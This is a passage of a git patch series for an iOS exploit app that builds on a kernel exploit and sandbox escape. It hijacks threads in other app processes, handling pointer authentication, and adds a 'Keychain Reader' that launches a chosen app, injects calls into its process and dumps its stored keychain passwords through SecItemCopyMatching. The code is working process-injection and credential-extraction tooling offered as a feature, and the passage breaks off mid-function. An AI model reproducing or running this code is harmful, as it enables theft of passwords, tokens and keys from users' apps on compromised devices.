From 611eded52b1e17da1a9ffdf63ac5e8da719aa898 Mon Sep 17 00:00:00 2001 From: QZ Yan Date: Wed, 8 Jul 2026 22:46:18 +0800 Subject: [PATCH 01/17] in-dev --- lara/kexploit/TaskRop/RemoteCall.h | 28 ++- lara/kexploit/TaskRop/RemoteCall.m | 54 +++++- lara/kexploit/keychain.h | 59 ++++++ lara/kexploit/keychain.m | 161 ++++++++++++++++ lara/lara-Bridging-Header.h | 1 + lara/views/tweaks/KeychainView.swift | 272 +++++++++++++++++++++++++++ lara/views/tweaks/TweaksView.swift | 2 + 7 files changed, 569 insertions(+), 8 deletions(-) create mode 100644 lara/kexploit/keychain.h create mode 100644 lara/kexploit/keychain.m create mode 100644 lara/views/tweaks/KeychainView.swift diff --git a/lara/kexploit/TaskRop/RemoteCall.h b/lara/kexploit/TaskRop/RemoteCall.h index 00cb50b57..50dad0356 100644 --- a/lara/kexploit/TaskRop/RemoteCall.h +++ b/lara/kexploit/TaskRop/RemoteCall.h @@ -11,6 +11,8 @@ @import Foundation; #import +#import +#import // xnu-10002.81.5/osfmk/kern/exc_guard.h #define EXC_GUARD_ENCODE_TYPE(code, type) \ @@ -22,15 +24,29 @@ // xnu-10002.81.5/osfmk/mach/arm/_structs.h #define __DARWIN_ARM_THREAD_STATE64_USER_DIVERSIFIER_MASK 0xff000000 +#define __DARWIN_ARM_THREAD_STATE64_FLAGS_NO_PTRAUTH 0x1 #define __DARWIN_ARM_THREAD_STATE64_FLAGS_IB_SIGNED_LR 0x2 #define __DARWIN_ARM_THREAD_STATE64_FLAGS_KERNEL_SIGNED_PC 0x4 #define __DARWIN_ARM_THREAD_STATE64_FLAGS_KERNEL_SIGNED_LR 0x8 +static inline uintptr_t get_dsc_base_marker(void) { + static uintptr_t base = 0; + static dispatch_once_t onceToken; + dispatch_once(&onceToken, ^{ + base = (uintptr_t)dlsym(RTLD_DEFAULT, "getpid"); + }); + return base; +} + #define SHMEM_CACHE_SIZE 100 -#define FAKE_PC_TROJAN_CREATOR 0x101 -#define FAKE_LR_TROJAN_CREATOR 0x201 -#define FAKE_PC_TROJAN 0x301 -#define FAKE_LR_TROJAN 0x401 +// #define FAKE_PC_TROJAN_CREATOR 0x101 +// #define FAKE_LR_TROJAN_CREATOR 0x201 +// #define FAKE_PC_TROJAN 0x301 +// #define FAKE_LR_TROJAN 0x401 +#define FAKE_PC_TROJAN_CREATOR (get_dsc_base_marker() + 1) +#define FAKE_LR_TROJAN_CREATOR (get_dsc_base_marker() + 2) +#define FAKE_PC_TROJAN (get_dsc_base_marker() + 3) +#define FAKE_LR_TROJAN (get_dsc_base_marker() + 5) // from https://github.com/nickingravallo/Machium/blob/main/Machium/Breakpoint.h #define BREAKPOINT_ENABLE 481 @@ -137,9 +153,13 @@ int disable_excguard_kill(uint64_t task); #define RemoteArbCall(instance, _pc, ...) RemoteArbCallWithTimeout(5, instance, _pc, __VA_ARGS__) uint64_t remote_alloc_str(RemoteCall *proc, const char *str); +uint64_t remote_alloc_ref(RemoteCall *proc, uint64_t pointer); uint64_t remote_sel(RemoteCall *proc, const char *name); +uint64_t remote_dlsym(RemoteCall *proc, const char *name); uint64_t remote_getClass(RemoteCall *proc, const char *name); uint64_t remote_msg(RemoteCall *proc, uint64_t obj, uint64_t sel, uint64_t a0, uint64_t a1, uint64_t a2, uint64_t a3); +uint64_t remote_retain(RemoteCall *proc, uint64_t remoteObj); +void remote_release(RemoteCall *proc, uint64_t remoteObj); int remote_errno(RemoteCall *proc); uint64_t remote_NSString(RemoteCall *proc, const char *str); CGRect remote_getCGRect(RemoteCall *proc, uint64_t obj, uint64_t sel); diff --git a/lara/kexploit/TaskRop/RemoteCall.m b/lara/kexploit/TaskRop/RemoteCall.m index 2473207c1..585f05e6e 100644 --- a/lara/kexploit/TaskRop/RemoteCall.m +++ b/lara/kexploit/TaskRop/RemoteCall.m @@ -542,7 +542,7 @@ - (BOOL)setExceptionPortOnThread:(mach_port_t)exceptionPort forThread:(uint64_t) // void sign_state(uint64_t signingThread, arm_thread_state64_internal *state, uint64_t pc, uint64_t lr) - (void)signState:(uint64_t)signingThread withState:(arm_thread_state64_internal *)state pc:(uint64_t)pc lr:(uint64_t)lr { - if(is_pac_supported()) { + if(is_pac_supported() && !(state->__flags & __DARWIN_ARM_THREAD_STATE64_FLAGS_NO_PTRAUTH)) { uint64_t diver = 0; diver = (uint64_t)state->__flags & __DARWIN_ARM_THREAD_STATE64_USER_DIVERSIFIER_MASK; uint64_t discPC = ptrauthblend(diver, ptrauthstrdisc("pc")); @@ -593,7 +593,7 @@ - (void)signState:(uint64_t)signingThread withState:(arm_thread_state64_internal return; } - if(!is_pac_supported()) { + if(!is_pac_supported() || state->__flags & __DARWIN_ARM_THREAD_STATE64_FLAGS_NO_PTRAUTH) { if (pc) state->__pc = pc; if (lr) state->__lr = lr; } @@ -1427,7 +1427,7 @@ - (int)initRemoteCallForProcess:(const char *)process useMigFilterBypass:(BOOL)u } uint64_t threadStartTrap = FAKE_PC_TROJAN; - uint64_t remoteCrashSigned = remotepac(_trojanThreadAddr, threadStartTrap, 0); + uint64_t remoteCrashSigned = (exc2.threadState.__flags & __DARWIN_ARM_THREAD_STATE64_FLAGS_NO_PTRAUTH) ? threadStartTrap : remotepac(_trojanThreadAddr, threadStartTrap, 0); printf("(rc) remoteCrashSigned: 0x%llx\n", remoteCrashSigned); fflush(stdout); if (!remoteCrashSigned) { @@ -1656,6 +1656,31 @@ uint64_t remote_alloc_str(RemoteCall *proc, const char *str) { return buf; } +uint64_t remote_alloc_ref(RemoteCall *proc, uint64_t pointer) { + uint64_t len = sizeof(uint64_t); + if (proc.trojanMemIsStackFallback) { + uint64_t offset = (proc.trojanMemScratchOffset + 7) & ~7ULL; + if (offset + len > PAGE_SIZE) { + RC_IOS16_DEBUG_LOG("(rc.iOS16) stack fallback remote_alloc_ref overflow len=0x%llx offset=0x%llx\n", len, offset); + fflush(stdout); + return 0; + } + uint64_t buf = proc.trojanMem + offset; + if (![proc remote_write64:buf value:pointer]) { + RC_IOS16_DEBUG_LOG("(rc.iOS16) stack fallback remote_alloc_ref write failed buf=0x%llx len=0x%llx\n", buf, len); + fflush(stdout); + return 0; + } + proc.trojanMemScratchOffset = offset + len; + RC_IOS16_DEBUG_LOG("(rc.iOS16) stack fallback remote_alloc_ref buf=0x%llx len=0x%llx next=0x%llx pointer=0x%llx\n", + buf, len, proc.trojanMemScratchOffset, pointer); + fflush(stdout); + return buf; + } + uint64_t buf = RemoteArbCall(proc, malloc, len); + return buf; +} + uint64_t remote_sel(RemoteCall *proc, const char *name) { uint64_t str = remote_alloc_str(proc, name); uint64_t sel = RemoteArbCall(proc, sel_registerName, str); @@ -1665,6 +1690,15 @@ uint64_t remote_sel(RemoteCall *proc, const char *name) { return sel; } +uint64_t remote_dlsym(RemoteCall *proc, const char* name) { + uint64_t str = remote_alloc_str(proc, name); + uint64_t sym = RemoteArbCall(proc, dlsym, RTLD_DEFAULT, str); + if (!proc.trojanMemIsStackFallback) { + RemoteArbCall(proc, free, str); + } + return sym; +} + uint64_t remote_getClass(RemoteCall *proc, const char *name) { uint64_t str = remote_alloc_str(proc, name); uint64_t cls = RemoteArbCall(proc, objc_getClass, str); @@ -1679,6 +1713,18 @@ uint64_t remote_msg(RemoteCall *proc, uint64_t obj, uint64_t sel, return RemoteArbCall(proc, objc_msgSend, obj, sel, a0, a1, a2, a3); } +uint64_t remote_retain(RemoteCall *proc, uint64_t remoteObj) { + if (!remoteObj) return 0; + uint64_t sel_retain = remote_sel(proc, "retain"); + return remote_msg(proc, remoteObj, sel_retain, 0, 0, 0, 0); +} + +void remote_release(RemoteCall *proc, uint64_t remoteObj) { + if (!remoteObj) return; + uint64_t sel_release = remote_sel(proc, "release"); + remote_msg(proc, remoteObj, sel_release, 0, 0, 0, 0); +} + int remote_errno(RemoteCall *proc) { uint64_t errPtr = RemoteArbCall(proc, __error); if (!errPtr) return -1; @@ -3714,7 +3760,7 @@ - (int)initRemoteCallForProcessIOS16:(const char *)process useMigFilterBypass:(B } uint64_t threadStartTrap = FAKE_PC_TROJAN; - uint64_t remoteCrashSigned = remotepac(_trojanThreadAddr, threadStartTrap, 0); + uint64_t remoteCrashSigned = (parkState.__flags & __DARWIN_ARM_THREAD_STATE64_FLAGS_NO_PTRAUTH) ? threadStartTrap : remotepac(_trojanThreadAddr, threadStartTrap, 0); printf("(rc) remoteCrashSigned: 0x%llx\n", remoteCrashSigned); fflush(stdout); if (!remoteCrashSigned) { diff --git a/lara/kexploit/keychain.h b/lara/kexploit/keychain.h new file mode 100644 index 000000000..2f6bd8216 --- /dev/null +++ b/lara/kexploit/keychain.h @@ -0,0 +1,59 @@ +// +// decrypt.h +// lara +// +// Created by neonmodder123 on 23.05.26. +// + +#ifndef keychain_h +#define keychain_h + +#include +#include +#include +#import +#import "RemoteCall.h" + +typedef void (*log_callback_t)(const char *message); +typedef void (*progress_callback_t)(double progress); + +void set_log_callback_kc(log_callback_t callback); +void set_progress_callback_kc(progress_callback_t callback); + +extern volatile double keychain_progress; + +typedef struct { + uint64_t SecItemCopyMatching; + + uint64_t kSecClass; + uint64_t kSecClassGenericPassword; + uint64_t kSecClassInternetPassword; + uint64_t kSecClassCertificate; + uint64_t kSecClassKey; + uint64_t kSecClassIdentity; + + uint64_t kCFBooleanTrue; + uint64_t kCFBooleanFalse; + + uint64_t kSecReturnAttributes; + uint64_t kSecReturnData; + + uint64_t kSecMatchLimit; + uint64_t kSecMatchLimitAll; + uint64_t kSecMatchLimitOne; +} remote_sec_symbols; + +typedef NS_ENUM(NSUInteger, sec_class) { + kSCGenericPassword = 0, + kSCInternetPassword, + kSCCertificate, + kSCKey, + kSCIdentity +}; + +bool find_secitem_symbols(RemoteCall* proc, remote_sec_symbols* symbols); +NSDictionary* get_secitems(RemoteCall* proc, remote_sec_symbols* symbols, sec_class target_sec_class, bool get_data); +// NSString* get_secitem_desc(RemoteCall* proc, remote_sec_symbols* symbols, NSString* key); +// NSData* get_secitem_data(RemoteCall* proc, remote_sec_symbols* symbols, NSString* key); + +#endif /* keychain_h */ \ No newline at end of file diff --git a/lara/kexploit/keychain.m b/lara/kexploit/keychain.m new file mode 100644 index 000000000..7be9d3406 --- /dev/null +++ b/lara/kexploit/keychain.m @@ -0,0 +1,161 @@ +// +// decrypt.m +// lara +// +// Created by neonmodder123 on 23.05.26. +// + +#import "keychain.h" +#import "darksword.h" +#import "offsets.h" +#import "utils.h" +#import "vm.h" +#import "TaskRop/RemoteCall.h" + +#import +#import +#import +#import + +extern kern_return_t mach_vm_deallocate(task_t task, mach_vm_address_t addr, mach_vm_size_t size); + +static log_callback_t g_log_cb_kc = NULL; +static progress_callback_t g_prog_cb_kc = NULL; + +void set_log_callback_kc(log_callback_t callback) { + g_log_cb_kc = callback; +} + +void set_progress_callback_kc(progress_callback_t callback) { + g_prog_cb_kc = callback; +} + +volatile double keychain_progress = 0.0; + +static void logmsg(const char *msg) { + if (g_log_cb_kc) { g_log_cb_kc(msg); } + printf("(keychain) %s\n", msg); +} + +static void progupdate(double p) { + keychain_progress = p; + if (g_prog_cb_kc) { g_prog_cb_kc(p); } +} + +bool find_secitem_symbols(RemoteCall *proc, remote_sec_symbols *symbols) { + symbols->SecItemCopyMatching = remote_dlsym(proc, "SecItemCopyMatching"); + + if (symbols->SecItemCopyMatching) { + symbols->kSecClass = remote_dlsym(proc, "kSecClass"); + symbols->kSecClassGenericPassword = remote_dlsym(proc, "kSecClassGenericPassword"); + symbols->kSecClassInternetPassword = remote_dlsym(proc, "kSecClassInternetPassword"); + symbols->kSecClassCertificate = remote_dlsym(proc, "kSecClassCertificate"); + symbols->kSecClassKey = remote_dlsym(proc, "kSecClassKey"); + symbols->kSecClassIdentity = remote_dlsym(proc, "kSecClassIdentity"); + + symbols->kCFBooleanTrue = remote_dlsym(proc, "kCFBooleanTrue"); + symbols->kCFBooleanFalse = remote_dlsym(proc, "kCFBooleanFalse"); + + symbols->kSecReturnAttributes = remote_dlsym(proc, "kSecReturnAttributes"); + symbols->kSecReturnData = remote_dlsym(proc, "kSecReturnData"); + + symbols->kSecMatchLimit = remote_dlsym(proc, "kSecMatchLimit"); + symbols->kSecMatchLimitAll = remote_dlsym(proc, "kSecMatchLimitAll"); + symbols->kSecMatchLimitOne = remote_dlsym(proc, "kSecMatchLimitOne"); + } + return symbols->SecItemCopyMatching != 0; +} + +uint64_t remote_NSMutableDictionary_dictionary(RemoteCall *proc) { + uint64_t cls_NSMutableDictionary = remote_getClass(proc, "NSMutableDictionary"); + uint64_t sel_alloc = remote_sel(proc, "alloc"); + uint64_t sel_init = remote_sel(proc, "init"); + + uint64_t raw_handler = remote_msg(proc, cls_NSMutableDictionary, sel_alloc, 0, 0, 0, 0); + uint64_t handler = remote_msg(proc, raw_handler, sel_init, 0, 0, 0, 0); + + return handler; +} + +bool remote_NSMutableDictionary_setObjectForKey(RemoteCall *proc, uint64_t remoteDict, uint64_t remoteObject, uint64_t remoteKey) { + if (!remoteDict || !remoteObject || !remoteKey) return false; + uint64_t sel_setObjectForKey = remote_sel(proc, "setObject:forKey:"); + remote_msg(proc, remoteDict, sel_setObjectForKey, remoteObject, remoteKey, 0, 0); + return true; +} + +uint64_t remote_NSMutableDictionary_objectForKey(RemoteCall *proc, uint64_t remoteDict, uint64_t remoteKey) { + if (!remoteDict || !remoteKey) return 0; + uint64_t sel_objectForKey = remote_sel(proc, "objectForKey:"); + uint64_t result = remote_msg(proc, remoteDict, sel_objectForKey, remoteKey, 0, 0, 0); + remote_retain(proc, result); + return result; +} + +uint64_t remote_NSMutableDictionary_allKeys(RemoteCall *proc, uint64_t remoteDict) { + if (!remoteDict) return 0; + uint64_t sel_allKeys = remote_sel(proc, "allKeys"); + uint64_t keys_array = remote_msg(proc, remoteDict, sel_allKeys, 0, 0, 0, 0); + remote_retain(proc, keys_array); + return keys_array; +} + +NSDictionary* get_secitems(RemoteCall* proc, remote_sec_symbols* symbols, sec_class target_sec_class, bool get_data) { + uint64_t remoteQueryDict = remote_NSMutableDictionary_dictionary(proc); + if (!remoteQueryDict) return nil; + + // Set kSecClass -> class value + switch (target_sec_class) { + case kSCGenericPassword: + remote_NSMutableDictionary_setObjectForKey(proc, remoteQueryDict, symbols->kSecClassGenericPassword, symbols->kSecClass); + break; + + case kSCInternetPassword: + remote_NSMutableDictionary_setObjectForKey(proc, remoteQueryDict, symbols->kSecClassInternetPassword, symbols->kSecClass); + break; + + case kSCCertificate: + remote_NSMutableDictionary_setObjectForKey(proc, remoteQueryDict, symbols->kSecClassCertificate, symbols->kSecClass); + break; + + case kSCKey: + remote_NSMutableDictionary_setObjectForKey(proc, remoteQueryDict, symbols->kSecClassKey, symbols->kSecClass); + break; + + case kSCIdentity: + remote_NSMutableDictionary_setObjectForKey(proc, remoteQueryDict, symbols->kSecClassIdentity, symbols->kSecClass); + break; + } + + // Set kSecReturnAttributes -> @YES + remote_NSMutableDictionary_setObjectForKey(proc, remoteQueryDict, symbols->kCFBooleanTrue, symbols->kSecReturnAttributes); + // Set kSecMatchLimit -> kSecMatchLimitAll + remote_NSMutableDictionary_setObjectForKey(proc, remoteQueryDict, symbols->kSecMatchLimitAll, symbols->kSecMatchLimit); + if (get_data) { + // Optionally set kSecReturnData -> @YES + remote_NSMutableDictionary_setObjectForKey(proc, remoteQueryDict, symbols->kCFBooleanTrue, symbols->kSecReturnData); + } + + uint64_t remoteResultDict = remote_NSMutableDictionary_dictionary(proc); + uint64_t remoteResultDictRef = remote_alloc_ref(proc, remoteResultDict); + RemoteArbCall(proc, symbols->SecItemCopyMatching, remoteQueryDict, remoteResultDictRef); + + NSDictionary* results = nil; + if (remoteResultDict) { + results = [[NSDictionary dictionary] initWithDictionary:(__bridge NSDictionary *)(void *)remoteResultDict copyItems:YES]; + } + if (!proc.trojanMemIsStackFallback) { + RemoteArbCall(proc, free, remoteResultDictRef); + } + remote_release(proc, remoteQueryDict); + remote_release(proc, remoteResultDict); + return results; +} + +// NSString* get_secitem_desc(RemoteCall* proc, remote_sec_symbols* symbols, NSString* key) { + +// } + +// NSData* get_secitem_data(RemoteCall* proc, remote_sec_symbols* symbols, NSString* key){ + +// } \ No newline at end of file diff --git a/lara/lara-Bridging-Header.h b/lara/lara-Bridging-Header.h index f092a4222..5eb9f5c0a 100644 --- a/lara/lara-Bridging-Header.h +++ b/lara/lara-Bridging-Header.h @@ -17,6 +17,7 @@ #import "rc.h" #import "RemoteCall.h" #import "decrypt.h" +#import "keychain.h" #import "persistence.h" #import "ota.h" #import "screentime.h" diff --git a/lara/views/tweaks/KeychainView.swift b/lara/views/tweaks/KeychainView.swift new file mode 100644 index 000000000..e901a47bb --- /dev/null +++ b/lara/views/tweaks/KeychainView.swift @@ -0,0 +1,272 @@ +// +// DecryptView.swift +// lara +// +// Created by neonmodder123 on 23.05.26. +// + +import SwiftUI + +struct KeychainApp: Identifiable { + let id = UUID() + let name: String + let bundleID: String + let bundlePath: String + let executable: String + let icon: UIImage? +} + +struct KeychainView: View { + @ObservedObject private var mgr = laramgr.shared + @State private var query = "" + @State private var apps: [KeychainApp] = [] + @State private var datareadingbid: String? = nil + @State private var errormsg: String? = nil + @State private var pendingread: KeychainApp? = nil + + private var filteredapps: [KeychainApp] { + let trimmed = query.trimmingCharacters(in: .whitespacesAndNewlines) + if trimmed.isEmpty { return apps } + let q = trimmed.lowercased() + return apps.filter { $0.name.lowercased().contains(q) || $0.bundleID.lowercased().contains(q) } + } + + var body: some View { + NavigationStack { + List { + if !mgr.sbxready { + Section { + Text("Sandbox escape not ready. Run the sandbox escape first.") + .foregroundColor(.secondary) + } header: { Text("Status") } + } + + HStack { + TextField("Search", text: $query) + .textInputAutocapitalization(.never) + .autocorrectionDisabled() + Button(action: loadApps) { + Image(systemName: "arrow.clockwise") + } + .disabled(!mgr.sbxready || datareadingbid != nil) + } + + if let error = errormsg { + Section { + PlainAlert(title: "Error", icon: "exclamationmark.triangle", text: error, color: .red) + } + } + + Section { + if filteredapps.isEmpty { + Text(query.isEmpty ? "Loading..." : "No matches.") + .foregroundColor(.secondary) + } else { + ForEach(filteredapps) { app in + KCAppRow(app: app, isreading: datareadingbid == app.bundleID) { + startRead(app) + } + } + } + } header: { + HeaderLabel(text: "Installed Apps", icon: "app.badge") + } + } + .navigationTitle("Keychain Read") + } + .onAppear { + set_log_callback_kc { msg in + guard let msg = msg else { return } + let s = String(cString: msg) + DispatchQueue.main.async { + laramgr.shared.logmsg("(keychain) \(s)") + } + } + if mgr.sbxready { loadApps() } + } + .onReceive(NotificationCenter.default.publisher(for: UIApplication.didBecomeActiveNotification)) { _ in + if let app = pendingread { + pendingread = nil + let pid = find_process_pid(app.executable) + if pid > 0 { + doRead(app, pid: pid) + } else { + errormsg = "App is not running, try again." + datareadingbid = nil + } + } + } + .onChange(of: mgr.sbxready) { ready in + if ready { loadApps() } else { apps.removeAll() } + } + } + + func loadApps() { + guard mgr.sbxready else { return } + DispatchQueue.global(qos: .userInitiated).async { + var results: [KeychainApp] = [] + let bundleFolder = "/private/var/containers/Bundle/Application" + + guard let bundles = try? FileManager.default.contentsOfDirectory(atPath: bundleFolder) else { + DispatchQueue.main.async { apps.removeAll() } + return + } + + for bundle in bundles { + let appPath = bundleFolder + "/" + bundle + guard let contents = try? FileManager.default.contentsOfDirectory(atPath: appPath) else { continue } + for item in contents { + guard item.hasSuffix(".app") else { continue } + let fullAppPath = appPath + "/" + item + let infoPath = fullAppPath + "/Info.plist" + guard let info = NSDictionary(contentsOfFile: infoPath) else { continue } + + let executable = info["CFBundleExecutable"] as? String ?? "" + if executable.isEmpty { continue } + let bundleid = info["CFBundleIdentifier"] as? String ?? "" + let name = (info["CFBundleDisplayName"] as? String) ?? + (info["CFBundleName"] as? String) ?? + (item as NSString).deletingPathExtension + + var icon: UIImage? = nil + if let icons = info["CFBundleIcons"] as? [String: Any], + let primary = icons["CFBundlePrimaryIcon"] as? [String: Any], + let iconfiles = primary["CFBundleIconFiles"] as? [String], + let iconname = iconfiles.last { + let iconpath = fullAppPath + "/" + iconname + if let img = UIImage(contentsOfFile: iconpath) { icon = img } + else if let img = UIImage(contentsOfFile: iconpath + "@2x.png") { icon = img } + else if let img = UIImage(contentsOfFile: iconpath + ".png") { icon = img } + } + + results.append(KeychainApp( + name: name, bundleID: bundleid, bundlePath: fullAppPath, + executable: executable, + icon: icon ?? UIImage(named: "unknown"), + )) + break + } + } + + results.sort { $0.name.lowercased() < $1.name.lowercased() } + DispatchQueue.main.async { apps = results } + } + } + + func startRead(_ app: KeychainApp) { + guard datareadingbid == nil && pendingread == nil else { return } + guard mgr.dsready else { errormsg = "Darksword not ready, run the exploit first."; return } + guard mgr.sbxready else { errormsg = "Sandbox not escaped."; return } + + runRead(app) + } + + func runRead(_ app: KeychainApp) { + errormsg = nil + datareadingbid = app.bundleID + + // let pid = find_process_pid(app.executable) + // if pid > 0 { + // doRead(app, pid: pid) + // } else { + pendingread = app + + var bgTask: UIBackgroundTaskIdentifier = .invalid + bgTask = UIApplication.shared.beginBackgroundTask(withName: "AutoResumeDecrypt") { + UIApplication.shared.endBackgroundTask(bgTask) + } + + let ret = launch_app(app.bundleID) + guard ret == 0 else { + UIApplication.shared.endBackgroundTask(bgTask) + pendingread = nil + datareadingbid = nil + errormsg = "Could not launch app. Open it manually." + return + } + + DispatchQueue.global(qos: .userInitiated).asyncAfter(deadline: .now() + 2.5) { + launch_app(Bundle.main.bundleIdentifier!) + usleep(500000) + + if self.pendingread != nil { + self.pendingread = nil + let foundPid = find_process_pid(app.executable) + if foundPid > 0 { + DispatchQueue.main.async { + self.doRead(app, pid: foundPid) + } + } else { + DispatchQueue.main.async { + self.datareadingbid = nil + self.errormsg = "Process not found after launch. Try manually." + } + } + } + + DispatchQueue.main.async { + UIApplication.shared.endBackgroundTask(bgTask) + } + } + // } + } + + func doRead(_ app: KeychainApp, pid: pid_t) { + laramgr.shared.logmsg("(keychain) reading \(app.bundleID)...") + + DispatchQueue.global(qos: .userInitiated).async { + let proc = RemoteCall(process: app.executable, useMigFilterBypass: false) + if proc != nil { + var sec_symbols = remote_sec_symbols() + if find_secitem_symbols(proc, &sec_symbols) { + let secitems = get_secitems(proc, &sec_symbols, .scGenericPassword, false) + laramgr.shared.logmsg("(keychain) \(secitems)") + } + + DispatchQueue.main.async { + self.datareadingbid = nil + } + proc?.destroy() + } else { + DispatchQueue.main.async { + self.datareadingbid = nil + self.errormsg = "Cannot init RemoteCall." + } + return + } + } + } +} + +struct KCAppRow: View { + let app: KeychainApp + let isreading: Bool + let onread: () -> Void + + var body: some View { + HStack { + if let icon = app.icon { + Image(uiImage: icon) + .resizable().frame(width: 40, height: 40) + .clipShape(RoundedRectangle(cornerRadius: 9)) + } else { + Image("unknown") + .resizable().frame(width: 40, height: 40) + .clipShape(RoundedRectangle(cornerRadius: 9)) + } + + VStack(alignment: .leading, spacing: 2) { + Text(app.name).font(.headline) + Text(app.bundleID).font(.caption).foregroundColor(.gray) + } + + Spacer() + + Button(action: onread) { + if isreading { ProgressView() } + else { Text("Read") } + } + } + .opacity(isreading ? 0.6 : 1.0) + } +} diff --git a/lara/views/tweaks/TweaksView.swift b/lara/views/tweaks/TweaksView.swift index dd84d5fcd..4a6a10743 100644 --- a/lara/views/tweaks/TweaksView.swift +++ b/lara/views/tweaks/TweaksView.swift @@ -31,6 +31,8 @@ struct TweaksView: View { Section(header: HeaderLabel(text: "Apps", icon: "app")) { NavigationLink("Card Overwrite", destination: CardView()) .disabled(!mgr.vfsready) + NavigationLink("Keychain Reader", destination: KeychainView()) + .disabled(!mgr.sbxready) NavigationLink("App Decrypt", destination: DecryptView()) .disabled(!mgr.sbxready) NavigationLink("3 App Bypass", destination: AppsView()) From ab5fdfce457af8bc31a1301bac35412902e4cae0 Mon Sep 17 00:00:00 2001 From: QZ Yan Date: Wed, 8 Jul 2026 23:15:36 +0800 Subject: [PATCH 02/17] fix --- lara/kexploit/TaskRop/RemoteCall.m | 3 + lara/kexploit/keychain.h | 13 +- lara/kexploit/keychain.m | 279 ++++++++++++++++++++++----- lara/views/tweaks/KeychainView.swift | 20 +- 4 files changed, 259 insertions(+), 56 deletions(-) diff --git a/lara/kexploit/TaskRop/RemoteCall.m b/lara/kexploit/TaskRop/RemoteCall.m index 585f05e6e..eb66f3eee 100644 --- a/lara/kexploit/TaskRop/RemoteCall.m +++ b/lara/kexploit/TaskRop/RemoteCall.m @@ -1678,6 +1678,9 @@ uint64_t remote_alloc_ref(RemoteCall *proc, uint64_t pointer) { return buf; } uint64_t buf = RemoteArbCall(proc, malloc, len); + if (buf) { + proc[buf].value64 = pointer; + } return buf; } diff --git a/lara/kexploit/keychain.h b/lara/kexploit/keychain.h index 2f6bd8216..5669441d1 100644 --- a/lara/kexploit/keychain.h +++ b/lara/kexploit/keychain.h @@ -12,13 +12,12 @@ #include #include #import -#import "RemoteCall.h" -typedef void (*log_callback_t)(const char *message); +typedef void (*log_callback_t)(const char * _Nullable message); typedef void (*progress_callback_t)(double progress); -void set_log_callback_kc(log_callback_t callback); -void set_progress_callback_kc(progress_callback_t callback); +void set_log_callback_kc(log_callback_t _Nullable callback); +void set_progress_callback_kc(progress_callback_t _Nullable callback); extern volatile double keychain_progress; @@ -51,9 +50,9 @@ typedef NS_ENUM(NSUInteger, sec_class) { kSCIdentity }; -bool find_secitem_symbols(RemoteCall* proc, remote_sec_symbols* symbols); -NSDictionary* get_secitems(RemoteCall* proc, remote_sec_symbols* symbols, sec_class target_sec_class, bool get_data); +bool find_secitem_symbols(RemoteCall * _Nonnull proc, remote_sec_symbols * _Nonnull symbols); +NSArray * _Nullable get_secitems(RemoteCall * _Nonnull proc, remote_sec_symbols * _Nonnull symbols, sec_class target_sec_class, bool get_data); // NSString* get_secitem_desc(RemoteCall* proc, remote_sec_symbols* symbols, NSString* key); // NSData* get_secitem_data(RemoteCall* proc, remote_sec_symbols* symbols, NSString* key); -#endif /* keychain_h */ \ No newline at end of file +#endif /* keychain_h */ diff --git a/lara/kexploit/keychain.m b/lara/kexploit/keychain.m index 7be9d3406..4b0bee199 100644 --- a/lara/kexploit/keychain.m +++ b/lara/kexploit/keychain.m @@ -10,10 +10,13 @@ #import "offsets.h" #import "utils.h" #import "vm.h" -#import "TaskRop/RemoteCall.h" +#import "RemoteCall.h" #import +#import #import +#import +#import #import #import @@ -42,28 +45,176 @@ static void progupdate(double p) { if (g_prog_cb_kc) { g_prog_cb_kc(p); } } -bool find_secitem_symbols(RemoteCall *proc, remote_sec_symbols *symbols) { - symbols->SecItemCopyMatching = remote_dlsym(proc, "SecItemCopyMatching"); - - if (symbols->SecItemCopyMatching) { - symbols->kSecClass = remote_dlsym(proc, "kSecClass"); - symbols->kSecClassGenericPassword = remote_dlsym(proc, "kSecClassGenericPassword"); - symbols->kSecClassInternetPassword = remote_dlsym(proc, "kSecClassInternetPassword"); - symbols->kSecClassCertificate = remote_dlsym(proc, "kSecClassCertificate"); - symbols->kSecClassKey = remote_dlsym(proc, "kSecClassKey"); - symbols->kSecClassIdentity = remote_dlsym(proc, "kSecClassIdentity"); +static const int32_t kSecItemNotFoundStatus = -25300; +static const uint64_t kBinaryPlistFormat = 200; + +static void log_status_message(const char *prefix, int32_t status) { + char msg[160]; + snprintf(msg, sizeof(msg), "%s (%d)", prefix, status); + logmsg(msg); +} + +static bool remote_load_library(RemoteCall *proc, const char *path) { + uint64_t remotePath = remote_alloc_str(proc, path); + if (!remotePath) { + return false; + } + + uint64_t handle = RemoteArbCall(proc, dlopen, remotePath, RTLD_LAZY | RTLD_GLOBAL); + if (!proc.trojanMemIsStackFallback) { + RemoteArbCall(proc, free, remotePath); + } + return handle != 0; +} + +static uint64_t remote_resolve_object_symbol(RemoteCall *proc, const char *name) { + uint64_t symbolSlot = remote_dlsym(proc, name); + if (!symbolSlot) { + return 0; + } + return [proc remoteRead64From:symbolSlot]; +} + +static bool load_sec_constant_symbols(RemoteCall *proc, remote_sec_symbols *symbols) { +#define RESOLVE_OBJECT_SYMBOL(field, symbolName) \ + do { \ + symbols->field = remote_resolve_object_symbol(proc, symbolName); \ + if (!symbols->field) { \ + char msg[160]; \ + snprintf(msg, sizeof(msg), "failed to resolve %s", symbolName); \ + logmsg(msg); \ + return false; \ + } \ + } while (0) + + RESOLVE_OBJECT_SYMBOL(kSecClass, "kSecClass"); + RESOLVE_OBJECT_SYMBOL(kSecClassGenericPassword, "kSecClassGenericPassword"); + RESOLVE_OBJECT_SYMBOL(kSecClassInternetPassword, "kSecClassInternetPassword"); + RESOLVE_OBJECT_SYMBOL(kSecClassCertificate, "kSecClassCertificate"); + RESOLVE_OBJECT_SYMBOL(kSecClassKey, "kSecClassKey"); + RESOLVE_OBJECT_SYMBOL(kSecClassIdentity, "kSecClassIdentity"); + RESOLVE_OBJECT_SYMBOL(kCFBooleanTrue, "kCFBooleanTrue"); + RESOLVE_OBJECT_SYMBOL(kCFBooleanFalse, "kCFBooleanFalse"); + RESOLVE_OBJECT_SYMBOL(kSecReturnAttributes, "kSecReturnAttributes"); + RESOLVE_OBJECT_SYMBOL(kSecReturnData, "kSecReturnData"); + RESOLVE_OBJECT_SYMBOL(kSecMatchLimit, "kSecMatchLimit"); + RESOLVE_OBJECT_SYMBOL(kSecMatchLimitAll, "kSecMatchLimitAll"); + RESOLVE_OBJECT_SYMBOL(kSecMatchLimitOne, "kSecMatchLimitOne"); + +#undef RESOLVE_OBJECT_SYMBOL + return true; +} + +static NSData *copy_remote_nsdata(RemoteCall *proc, uint64_t remoteData) { + if (!remoteData) { + return nil; + } + + uint64_t sel_length = remote_sel(proc, "length"); + uint64_t sel_bytes = 